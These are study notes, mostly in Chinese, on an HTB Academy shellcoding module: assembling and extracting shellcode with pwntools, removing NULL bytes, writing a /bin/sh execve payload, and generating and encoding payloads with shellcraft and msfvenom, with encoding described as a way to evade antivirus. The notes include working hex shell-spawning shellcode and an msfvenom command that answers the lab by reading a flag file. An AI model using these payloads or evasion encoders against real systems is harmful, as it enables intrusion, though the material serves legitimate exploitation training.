IntroToAssemblyShellcodingANDSkillHTB
Shellcoding
Shellcodes
通过本模块所学的知识,我们应该对计算机和处理器架构以及程序如何与此底层架构进行交互有很好的理解。我们还应该能够反汇编和调试二进制文件,并很好地理解它们正在执行什么机器指令以及它们的通用目的是什么。现在我们将学习shellcodes
,这是渗透测试人员的基本概念。
What is a Shellcode
我们知道,每个可执行的二进制文件都是由汇编语言编写的机器指令组成的,然后汇编成机器代码。shellcode
是二进制可执行机器码的十六进制表示。例如,让我们以我们的Hello World
程序为例,它执行以下指令:
Code:
global _start |
正如我们在第一节中看到的,这个Hello World
程序汇编了以下shellcode:
Code:
48be0020400000000000bf01000000ba12000000b8010000000f05b83c000000bf000000000f05 |
这个shellcode应该正确地表示机器指令,如果传递给处理器内存,它应该理解它并正确地执行它。
Use in Pentesting
能够将shellcode直接传递到处理器内存并执行它在Binary Exploitation
中起着重要作用。例如,利用缓冲区溢出漏洞,我们可以传递一个reverse shell
shellcode,让它执行,并接收一个反向shell。
现代的x86_64
系统可能有防止将shellcode加载到内存中的保护。这就是为什么x86_64
二进制利用通常依赖于Return Oriented Programming (ROP)
,这也需要很好地理解本模块中涵盖的汇编语言和计算机体系结构。
此外,一些攻击技术依赖于用shellcode感染现有的可执行文件(如elf
或.exe
)或库(如.so
或.dll
),使得这些shellcode被加载到内存中并在这些文件运行时执行。在渗透测试中使用shellcode的另一个优点是能够直接在内存中执行代码,而无需将任何内容写入磁盘,这对于减少我们在远程服务器上的可见性和占用空间非常重要。
Assembly to Machine Code
要理解shellcode是如何生成的,我们必须首先理解每条指令是如何转换成机器码的。每个x86
指令和每个寄存器都有自己的binary
机器码(通常用hex
表示),它代表直接传递给处理器的二进制代码,告诉它执行什么指令(通过指令周期)。
此外,指令和寄存器的常见组合也有自己的机器码。例如,push rax
指令有机器码50
,而push rbx
有机器码53
,等等。当我们用nasm
汇编代码时,它会将我们的汇编指令转换为各自的机器码,以便处理器能够理解它们。
请记住:汇编语言是为人类可读性而设计的,处理器不转换成机器代码就无法理解它。我们将使用pwntools
来组装和反汇编我们的机器代码,因为它是二进制开发的重要工具,这是一个很好的机会开始学习它。首先,我们可以使用以下命令安装pwntools
(它应该已经安装在PwnBox中):
mikannse7@htb[/htb]$ sudo pip3 install pwntools |
现在,我们可以使用pwn asm
将任何汇编代码组装到其shellcode中,如下所示:
mikannse7@htb[/htb]$ pwn asm 'push rax' -c 'amd64' |
注意:我们使用-c 'amd64'
标志来确保工具正确解释x86_64
的汇编代码
正如我们所看到的,我们得到了50
,这与push rax
的机器码相同。同样,我们可以将十六进制机器码或shellcode转换为相应的汇编代码,如下所示:
mikannse7@htb[/htb]$ pwn disasm '50' -c 'amd64' |
我们可以在这里阅读更多关于pwntools
汇编和反汇编功能的信息,以及关于pwntools
命令行工具的信息。
Extract Shellcode
现在我们理解了每个汇编指令是如何转换成机器码的(反之亦然),让我们看看如何从任何二进制文件中提取shellcode。
二进制文件的shellcode仅表示其可执行文件.text
部分,因为shellcode意味着可直接执行。要使用.text
提取pwntools
部分,我们可以使用ELF
库加载elf
二进制文件,这将允许我们在其上运行各种函数。因此,让我们运行python3
解释器以更好地理解如何使用它。首先,我们必须导入pwntools
,然后我们可以读取elf
二进制文件,如下所示:
mikannse7@htb[/htb]$ python3 |
现在,我们可以在上面运行各种pwntools
函数,我们可以在这里阅读更多内容。我们需要从可执行文件.text
部分转储机器码,我们可以使用section()
函数来完成,如下所示:
>>> file.section(".text").hex() |
注意:我们添加了’hex()
‘来以十六进制编码shellcode,而不是以原始字节打印。
我们可以很容易地提取出二进制文件的shellcode。让我们将其转换为Python脚本,以便我们可以快速使用它来提取任何二进制文件的shellcode:
Code:
#!/usr/bin/python3 |
我们可以将上面的脚本复制到shellcoder.py
,然后将任何二进制文件的名称作为参数传递给它,它将提取它的shellcode:
mikannse7@htb[/htb]$ python3 shellcoder.py helloworld |
另一种提取shellcode的方法(不太可靠)是通过objdump
,我们在前一节中使用过。我们可以将下面的bash
脚本写入shellcoder.sh
,如果不能使用第一个脚本,可以使用它来提取shellcode:
Code:
|
同样,我们可以尝试在helloworld
上运行它以获取其shellcode,如下所示:
mikannse7@htb[/htb]$ ./shellcoder.sh helloworld |
Loading Shellcode
现在我们有了一个shellcode,让我们试着运行它,让我们在二进制利用中使用它之前测试我们准备的任何shellcode。我们上面提取的shellcode不符合我们将在下一节讨论的Shellcoding Requirements
,所以它不会运行。为了演示如何运行shellcode,我们将使用下面的(fixed
)shellcode,它满足所有Shellcoding Requirements
:
Code:
4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05 |
要使用pwntools
运行我们的shellcode,我们可以使用run_shellcode
函数并将我们的shellcode传递给它,如下所示:
mikannse7@htb[/htb]$ python3 |
我们在shellcode上使用unhex()
将其转换回二进制。
正如我们所看到的,我们的shellcode成功运行并打印了字符串Hello HTB Academy!
。相反,如果我们运行前面的shellcode(不满足Shellcoding Requirements
),它将不会运行:
>>> run_shellcode(unhex('b801000000bf0100000048be0020400000000000ba120000000f05b83c000000bf000000000f05')).interactive() |
同样,为了使我们的shellcode运行起来更容易,让我们将上面的代码转换为Python脚本:
Code:
#!/usr/bin/python3 |
我们可以将上面的脚本复制到loader.py
,将我们的shellcode作为参数传递,然后运行它来执行我们的shellcode:
mikannse7@htb[/htb]$ python3 loader.py '4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05' |
正如我们所看到的,我们能够成功地加载和运行我们的shellcode。
Debugging Shellcode
最后,让我们看看如何使用gdb
调试shellcode。如果我们将机器码直接加载到内存中,那么如何使用gdb
运行它?有很多方法可以做到这一点,我们将在这里介绍其中的一些。
我们总是可以使用loader.py
运行shellcode,然后使用gdb
将其进程附加到gdb -p PID
。然而,这只在我们的进程在我们附加到它之前没有退出的情况下才有效。所以,我们将把shellcode构建为一个elf
二进制文件,然后像我们在整个模块中所做的那样使用这个二进制文件和gdb
。
Pwntools
我们可以使用pwntools
从shellcode中使用elf
库构建ELF
二进制文件,然后使用save
函数将其保存到文件中:
Code:
ELF.from_bytes(unhex('4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05')).save('helloworld') |
为了更容易使用,我们可以将上面的代码转换为脚本,并将其写入assembler.py
:
Code:
#!/usr/bin/python3 |
我们现在可以运行assembler.py
,将shellcode作为第一个参数传递,将文件名作为第二个参数传递,它会将shellcode组装成一个可执行文件:
Pwntools
mikannse7@htb[/htb]$ python assembler.py '4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05' 'helloworld' |
Pwntools
mikannse7@htb[/htb]$ ./helloworld |
正如我们所看到的,它用我们指定的文件名构建了helloworld
二进制文件。我们现在可以使用gdb
运行它,并使用b *0x401000
在默认的二进制入口点中断:
gdb
$ gdb -q helloworld |
GCC
还有其他方法可以将shellcode构建为elf
可执行文件。我们可以将shellcode添加到下面的C
代码中,将其写入helloworld.c
,然后使用gcc
构建它(十六进制字节必须使用\x
进行转义):
Code:
|
然后,我们可以用C
编译我们的gcc
代码,并用gdb
运行它:
GCC
mikannse7@htb[/htb]$ gcc helloworld.c -o helloworld |
但是,由于一些原因,这种方法并不可靠。首先,它将整个二进制文件包装在C
代码中,因此二进制文件将不包含我们的shellcode,但将包含各种其他C
函数和库。这个方法也可能不总是编译,这取决于现有的内存保护,所以我们可能必须添加标志来绕过内存保护,如下所示:
GCC
mikannse7@htb[/htb]$ gcc helloworld.c -o helloworld -fno-stack-protector -z execstack -Wl,--omagic -g --static |
有了这个,我们应该对shellcode的基础知识有一个很好的理解。现在我们可以为下一步创建自己的shellcode了。
Shellcoding Techniques
正如我们在上一节中看到的,我们的Hello World
汇编代码必须被修改以产生一个工作的shellcode。因此,在本节中,我们将介绍一些可以用来解决汇编代码中发现的任何问题的技术和技巧。
Shellcoding Requirements
正如我们在上一节中简要提到的,并不是所有的二进制文件给予可以直接加载到内存并运行的工作shellcode。这是因为shellcode必须满足特定的要求。否则,它将无法在运行时正确地反汇编成正确的汇编指令。
为了更好地理解这一点,让我们尝试反汇编我们在前一节中从Hello World
程序中提取的shellcode,使用我们之前使用的相同的pwn disasm
工具:
$ pwn disasm '48be0020400000000000bf01000000ba12000000b8010000000f05b83c000000bf000000000f05' -c 'amd64' |
我们可以看到这些指令与我们之前的Hello World
汇编代码相对相似,但它们并不完全相同。我们看到有一个空的指令行,这可能会破坏代码。此外,我们的Hello World
字符串无处可见。我们也看到许多红色的00
,我们将在一点。
如果我们的汇编代码不是shellcode compliant
,也不符合Shellcoding Requirements
,就会发生这种情况。为了能够产生一个工作的shellcode,我们的汇编代码必须满足三个主要的Shellcoding Requirements
:
- Does not contain variables
- Does not refer to direct memory addresses
- Does not contain any NULL bytes
00
因此,让我们从上一节中看到的Hello World
程序开始,并通过上述每一点并修复它们:
Code:
global _start |
Remove Variables
shellcode一旦加载到内存中,就可以直接执行,而不需要从其他内存段加载数据,比如.data
或.bss
。这是因为text
内存段不是writable
,所以我们不能写任何变量。相反,data
段是不可执行的,所以我们不能编写可执行代码。
因此,要执行我们的shellcode,我们必须将其加载到text
内存段中,并失去写入任何变量的能力。Hence, our entire shellcode must be under '.text' in the assembly code.
注意事项:一些旧的shellcoding技术(如jmp-call-pop技术)不再适用于现代内存保护,因为它们中的许多依赖于将变量写入text
内存段,正如我们刚刚讨论的,这不再可能。
我们可以使用许多技术来避免使用变量,例如:
- 将立即字符串移动到寄存器
- 将字符串推入堆栈,然后使用它们
在上面的代码中,我们可以将字符串移动到rsi
,如下所示:
Code:
mov rsi, 'Academy!' |
但是,64位寄存器只能保存8个字节,这对于更大的字符串可能不够。所以,我们的另一个选择是依赖于堆栈,一次推送16个字节(以相反的顺序),然后使用rsp
作为我们的字符串指针,如下所示:
Code:
push 'y!' |
然而,这将超过立即字符串push
的允许界限,即一次是dword
(4字节)。所以,我们将把字符串移到rbx
,然后把rbx
推到堆栈,如下所示:
Code:
mov rbx, 'y!' |
注意:每当我们将一个字符串压入堆栈时,我们必须在它之前压入一个00
来终止字符串。但是,在这种情况下我们不必担心,因为我们可以为write
系统调用指定打印长度。
我们现在可以将这些更改应用到代码中,组装并运行它,看看它是否有效:
mikannse7@htb[/htb]$ ./assembler.sh helloworld.s |
我们可以看到它按预期工作,不需要使用任何变量。我们可以使用gdb
检查它,看看它在断点处的外观:
gdb
$ gdb -q ./helloworld |
正如我们所注意到的,字符串是在堆栈中逐渐建立的,当我们将rsp
移动到rsi
时,它包含了我们的整个字符串。
Remove Addresses
我们现在在上面的代码中没有使用任何地址,因为我们在删除唯一的变量时删除了唯一的地址引用。然而,我们可能会在许多情况下看到引用,特别是calls
或loops
等。因此,我们必须确保我们的shellcode知道如何在它运行的任何环境中进行调用。
为了能够这样做,我们不能引用直接存储器地址(即call 0xffffffffaa8a25ff
),而是仅调用标签(即call loopFib
)或相对存储器地址(即,call 0x401020
)。我们在第4节中讨论了RIP相对寻址。
幸运的是,在整个模块中,我们只做了calls
to标签,以确保我们学习如何编写易于shellcoded的代码。如果我们对一个标签做一个call
,nasm
会自动将这个标签变成一个相对地址,这应该可以和shellcode一起使用。
如果我们曾经有过任何对直接内存地址的调用或引用,我们可以通过以下方式修复:
- 替换为对标签或RIP相关地址的调用(对于
calls
和loops
) - 推送到堆栈并使用
rsp
作为地址(用于mov
和其他汇编指令)
如果我们在编写汇编代码时效率很高,我们可能不必修复这些类型的问题。
Remove NULL
NULL字符(或0x00
)在汇编和机器代码中用作字符串终止符,因此如果遇到它们,它们将导致问题,并可能导致程序提前终止。因此,我们必须确保我们的shellcode不包含任何NULL字节00
。如果我们回到我们的Hello World
shellcode disassumption,我们注意到其中有许多红色的00
:
$ pwn disasm '48be0020400000000000bf01000000ba12000000b8010000000f05b83c000000bf000000000f05' -c 'amd64' |
这通常发生在将一个小整数移动到一个大寄存器中时,因此整数会被额外的00
填充以适应较大寄存器的大小。
例如,在上面的代码中,当我们使用mov rax, 1
时,它将把00 00 00 01
移动到rax
中,这样数字大小将匹配寄存器大小。我们可以在汇编上面的指令时看到这一点:
mikannse7@htb[/htb]$ pwn asm 'mov rax, 1' -c 'amd64' |
为了避免这些空字节,we must use registers that match our data size.
对于前面的例子,我们可以使用更有效的指令mov al, 1
,正如我们在整个模块中所学习的那样。然而,在我们这样做之前,我们必须首先用rax
将xor rax, rax
寄存器清零,以确保我们的数据不会与旧数据混合。让我们看看这两条指令的shellcode:
mikannse7@htb[/htb]$ pwn asm 'xor rax, rax' -c 'amd64' |
正如我们所看到的,我们的新shellcode不仅不包含任何NULL字节,而且它也更短,这是shellcode中非常需要的东西。
我们可以从前面添加的新指令mov rbx, 'y!'
开始。我们看到,该指令将2个字节移动到8个字节的寄存器中。因此,为了修复它,我们将首先将rbx
清零,然后使用2字节(即16位)寄存器bx
,如下所示:
Code:
xor rbx, rbx |
这些新指令在其shellcode中不应包含任何NULL字节。让我们将相同的方法应用于代码的其余部分,如下所示:
Code:
xor rax, rax |
我们可以看到,我们在三个地方应用了这种技术,每个地方都使用了8位寄存器。
提示:如果我们需要将0
移动到寄存器中,我们可以将该寄存器清零,就像我们上面对rdi
所做的那样。同样,如果我们甚至需要push 0
到堆栈(例如,对于String Termination),我们可以将任何寄存器清零,然后将该寄存器推入堆栈。
如果我们应用以上所有方法,我们应该有以下汇编代码:
Code:
global _start |
最后,我们可以汇编代码并运行它:
mikannse7@htb[/htb]$ ./assembler.sh helloworld.s |
正如我们所看到的,我们的代码按预期工作。
Shellcoding
我们现在可以尝试使用之前的helloworld
脚本提取新的shellcoder.py
程序的shellcode:
mikannse7@htb[/htb]$ python3 shellcoder.py helloworld |
这个shellcode看起来好多了。但它是否包含任何NULL字节?很难说。因此,让我们在shellcoder.py
的末尾添加以下行,这将告诉我们我们的代码是否包含任何NULL字节,并告诉我们shellcode的大小:
Code:
print("%d bytes - Found NULL byte" % len(shellcode)) if [i for i in shellcode if i == 0] else print("%d bytes - No NULL bytes" % len(shellcode)) |
让我们运行更新后的脚本,看看我们的shellcode是否包含任何NULL字节:
mikannse7@htb[/htb]$ python3 shellcoder.py helloworld |
正如我们所看到的,No NULL bytes
告诉我们shellcode是NULL-byte free
。
尝试在前面的Hello World
程序上运行脚本,看看它是否包含任何NULL字节。最后,我们到达了关键时刻,并尝试使用我们的loader.py
脚本运行我们的shellcode,看看它是否成功运行:
mikannse7@htb[/htb]$ python3 loader.py '4831db66bb79215348bb422041636164656d5348bb48656c6c6f204854534889e64831c0b0014831ff40b7014831d2b2120f054831c0043c4030ff0f05' |
正如我们所看到的,我们已经成功地为我们的Hello World
程序创建了一个工作shellcode。
Shellcoding Tools
我们现在应该能够修改我们的代码并使其兼容shellcode
,这样它就可以满足所有Shellcoding Requirements
。这种理解对于制作我们自己的shellcode和最小化它们的大小至关重要,这在处理二进制利用时可能会变得非常方便,特别是当我们没有太多空间容纳大型shellcode时。
在某些其他情况下,我们可能不需要每次都编写自己的shellcode,因为类似的shellcode可能已经存在,或者我们可以使用工具生成shellcode,所以我们不必重新发明轮子。
通过二进制开发,我们会遇到许多常见的shellcode,比如Reverse Shell
shellcode或/bin/sh
shellcode。我们可以找到许多执行这些功能的shellcode,我们可以使用最小的修改或不修改。我们也可以使用工具来生成这两个shellcode。
For either of these, we must be sure to use a shellcode that matches our target Operating System and Processor Architecture. |
Shell Shellcode
在我们继续使用工具和在线资源之前,让我们尝试创建我们自己的/bin/sh
shellcode。要做到这一点,我们可以使用execve
系统调用和59
系统调用,这允许我们执行一个系统应用程序:
mikannse7@htb[/htb]$ man -s 2 execve |
正如我们所看到的,execve
系统调用接受3个参数。我们需要执行/bin/sh /bin/sh
,这将使我们进入sh
shell。所以,我们最终的函数是:
Code:
execve("/bin//sh", ["/bin//sh"], NULL) |
所以,我们将参数设置为:
rax
->59
(execve
syscall number)rdi
->['/bin//sh']
(pointer to program to execute)rsi
->['/bin//sh']
(list of pointers for arguments)rdx
->NULL
(no environment variables)
注意事项:我们在’/
‘中添加了一个额外的/bin//sh
,因此总字符数为8,这将填满一个64位寄存器,因此我们不必担心提前清除寄存器或处理任何剩余字符。在Linux中,任何额外的斜杠都被忽略,因此这是一个在需要时平衡总字符数的方便技巧,并且在二进制开发中使用了很多。
使用我们在调用系统调用时学到的相同概念,下面的汇编代码应该执行我们需要的系统调用:
Code:
global _start |
正如我们所看到的,我们推送了两个(以NULL结尾的)'/bin//sh'
字符串,然后将它们的指针移动到rdi
和rsi
。我们现在应该知道,上面的汇编代码不会产生一个工作的shellcode,因为它包含NULL字节。
Try to remove all NULL bytes from the above assembly code to produce a working shellcode. |
一旦我们修复了代码,我们就可以在它上面运行shellcoder.py
,并得到一个没有NULL字节的shellcode:
mikannse7@htb[/htb]$ python3 shellcoder.py sh |
尝试运行上面的shellcode与loader.py
,看看它是否工作,并把我们放在一个shell。现在让我们尝试使用shellcode生成工具获取/bin/sh
的另一个shellcode。
Shellcraft
让我们从我们常用的工具pwntools
开始,并使用它的shellcraft
库,该库为各种syscalls
生成shellcode。我们可以列出syscalls
工具接受如下:
mikannse7@htb[/htb]$ pwn shellcraft -l 'amd64.linux' |
我们看到了amd64.linux.sh
系统调用,它会将我们放入一个shell,就像上面的shell代码一样。我们可以如下生成它的shellcode:
mikannse7@htb[/htb]$ pwn shellcraft amd64.linux.sh |
请注意,这个shellcode并不像我们的shellcode那样优化和简短。我们可以通过添加-r
标志来运行shellcode:
mikannse7@htb[/htb]$ pwn shellcraft amd64.linux.sh -r |
而且它的工作原理和预期的一样。此外,我们可以使用Python3
解释器完全解锁shellcraft
,并使用带参数的高级系统调用。首先,我们可以使用dir(shellcraft)
列出所有可用的系统调用,如下所示:
mikannse7@htb[/htb]$ python3 |
让我们像上面一样使用execve
系统调用来放入一个shell,如下所示:
>>> syscall = shellcraft.execve(path='/bin/sh',argv=['/bin/sh']) # syscall and args |
我们可以在这个链接上找到x86_64
接受的系统调用及其参数的完整列表。我们现在可以尝试使用loader.py
运行这个shellcode:
mikannse7@htb[/htb]$ python3 loader.py '48b801010101010101015048b82e63686f2e726901483104244889e748b801010101010101015048b82e63686f2e7269014831042431f6566a085e4801e6564889e631d26a3b580f05' |
而且它的工作原理和预期的一样。
Msfvenom
让我们试试msfvenom
,这是我们可以用来生成shellcode的另一个常用工具。同样,我们可以列出Linux
和x86_64
的各种可用有效负载:
mikannse7@htb[/htb]$ msfvenom -l payloads | grep 'linux/x64' |
exec
payload允许我们执行指定的命令。让我们将’/bin/sh/
‘传递给CMD
,并测试我们得到的shellcode:
mikannse7@htb[/htb]$ msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex' |
注意,这个shellcode也没有我们的shellcode那么优化和简短。让我们试着用我们的loader.py
脚本运行这个shellcode:
mikannse7@htb[/htb]$ python3 loader.py '6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e80300000073680056574889e60f05' |
这个shellcode也可以工作。尝试在shellcraft
和msfvenom
中测试其他类型的系统调用和有效负载
Shellcode Encoding
使用这些工具的另一个好处是编码我们的shellcode,而无需手动编写编码器。对shellcode进行编码可以成为具有防病毒或某些安全保护的系统的一个方便功能。然而,必须注意的是,用普通编码器编码的外壳代码可能容易检测。
我们也可以使用msfvenom
来编码我们的shellcode。我们可以首先列出可用的编码器:
mikannse7@htb[/htb]$ msfvenom -l encoders |
然后我们可以为x64
选择一个,比如x64/xor
,并将其与-e
标志一起使用,如下所示:
mikannse7@htb[/htb]$ msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor' |
让我们尝试运行编码的shellcode,看看它是否运行:
mikannse7@htb[/htb]$ python3 loader.py |
正如我们所看到的,编码后的shellcode也可以正常工作,但不太容易被安全监控工具检测到。
提示:我们可以使用-i COUNT
标志多次编码shellcode,并指定我们想要的迭代次数。
我们看到,编码的shellcode总是比未编码的shellcode大得多,因为编码shellcode添加了一个内置的解码器用于运行时解码。它还可以对每个字节进行多次编码,这会在每次迭代时增加其大小。
如果我们有一个自定义的shellcode,我们也可以使用msfvenom
来编码它,通过将其字节写入文件,然后使用msfvenom
将其传递给-p -
,如下所示:
mikannse7@htb[/htb]$ python3 -c "import sys; sys.stdout.buffer.write(bytes.fromhex('b03b4831d25248bf2f62696e2f2f7368574889e752574889e60f05'))" > shell.bin |
正如我们所看到的,我们的有效载荷被编码,并且变得更大。
Shellcode Resources
最后,我们总是可以搜索在线资源,如Shell-Storm或Exploit DB,以获得现有的shellcode。
例如,如果我们在Shell-Storm中搜索/bin/sh
上的Linux/x86_64
shellcode,我们会发现几个大小不同的示例,比如这个27字节的shellcode。我们可以在Exploit DB中搜索相同的内容,我们找到了一个更优化的22字节shellcode,如果我们的Binary Exploitation只有大约22字节的溢出空间,这可能会有所帮助。我们还可以搜索编码的shellcode,它们一定会更大。
我们上面写的shellcode也是27字节长,所以它看起来是一个非常优化的shellcode。有了所有这些,我们应该能够轻松地编写、生成和使用shellcode。
Skills Assessment
Task1
Task2
msfvenom -p 'linux/x64/exec' CMD='cat ./flg.txt' -a 'x64' --platform 'linux' -f 'hex' |